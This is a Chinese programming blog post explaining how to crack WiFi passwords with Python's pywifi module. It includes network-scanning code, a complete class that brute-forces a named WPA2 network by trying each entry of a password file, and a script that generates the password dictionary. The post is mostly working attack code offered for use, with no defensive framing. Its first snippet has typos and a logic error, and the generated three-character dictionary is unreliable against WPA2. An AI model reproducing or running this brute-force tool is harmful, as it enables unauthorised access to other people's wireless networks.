Python破解WiFi密码【pywifi模块】

首先安装要使用的pywifi模块,这个模块不能使用pip install 安装,去pywifi 官方文档下载压缩包,找到\Lib\site-packages路径,将包解压之后复制到这里,双击setup.py就欧克了。

使用:

import pywifi
import time
from pywifi import const
wifi = pywifi.PyWiFi()#创建WiFi对象
iface = wifi.interfaces()[0]#获取网卡
name = iface.name()#网卡名称
iface.scan()#扫描AP
time.sleep(1)
bessis = iface.scan_results()#扫描结果列表
for data in bessis:#输出扫描到的WiFi名称
    print(data.ssid)
if iface.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]:#检测网卡是否连接
    print("网卡未连接")
else:
    print("网卡已连接")

#尝试并连接wifi
import pywifi
import sys
import time
from pywifi import *
 
def deswifi():
  wifi=PyWiFi()#创建一个无限对象
  ifaces=wifi.interfaces()[0]#取一个无限网卡
  print(ifaces.name())#输出无线网卡名称
  ifaces.disconnect()#断开网卡连接
  time.sleep(3)#缓冲3秒
  profile=profile()#配置文件
  profile.ssid="Honor V10"#wifi名称
  profile.auth=const.AUTH_ASG_OPEN#需要密码
  profile.akm.append(const.AKM_TYPE_WPA2SK)#加密类型
  profile.cipher=const.CIPHER_TYPE_CCMP#加密单元
  ifaces.remove_all_network_profiles()#删除其他配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  ifaces.connect(tmp_profile)#连接
  time.sleep(10)#尝试10秒能否成功连接
  isok=True
  if ifaces.status()==const.IFACE_CONNECTED:
      print("成功连接")
  else:
      print("失败")
  ifaces.disconnect()#断开连接
  time.sleep(1)
  return isok
deswifi()

完整code:

import pywifi
import time
from pywifi import const
class PoJie():
    def __init__(self,name):
        self.name = name
        wifi = pywifi.PyWiFi()  # 抓取网卡接口
        self.iface = wifi.interfaces()[0]#获取网卡
        self.iface.disconnect()  # 断开所有连接
        time.sleep(1)
        if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:  # 测试是否已经断开网卡连接
            print("已经成功断开网卡连接")
        else:
            print("网卡连接断开失败")
    def solve(self):
        x = 1
        f = open('password.txt','r')
        lines = f.readlines()
        for line in lines:
            print('正在尝试第%d次'%(x))
            x += 1
            profile = pywifi.Profile()#创建wifi配置对象
            profile.ssid = self.name#wifi名称
            profile.key = line#WiFi密码
            profile.auth = const.AUTH_ALG_OPEN#网卡的开放
            profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法,一般是 WPA2PSK
            profile.cipher = const.CIPHER_TYPE_CCMP#加密单元
            self.iface.remove_all_network_profiles()#删除所有的wifi文件
            tem_profile = self.iface.add_network_profile(profile)#添加新的WiFi文件
            self.iface.connect(tem_profile)#连接
            time.sleep(3)#连接需要时间
            if self.iface.status() == const.IFACE_CONNECTED:#判断是否连接成功
                print("成功连接,密码是%s"%(line))
                break
            else:
                print("连接失败,密码是%s"%(line))
if __name__ == "__main__":
    name = 'Honor V10'
    obj = PoJie(name = name)
    obj.solve()

生成字典代码:

import itertools
key = '0123456789.qwertyuiopasdfghjklzxcvbnm'#密码包含这些字符
passwords = itertools.product(key,repeat = 3)
f = open('password.txt','a')
for i in passwords:
    f.write("".join(i))
    f.write('\n')
f.close()

 

  • 24
    点赞
  • 156
    收藏
    觉得还不错? 一键收藏
  • 20
    评论
评论 20
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值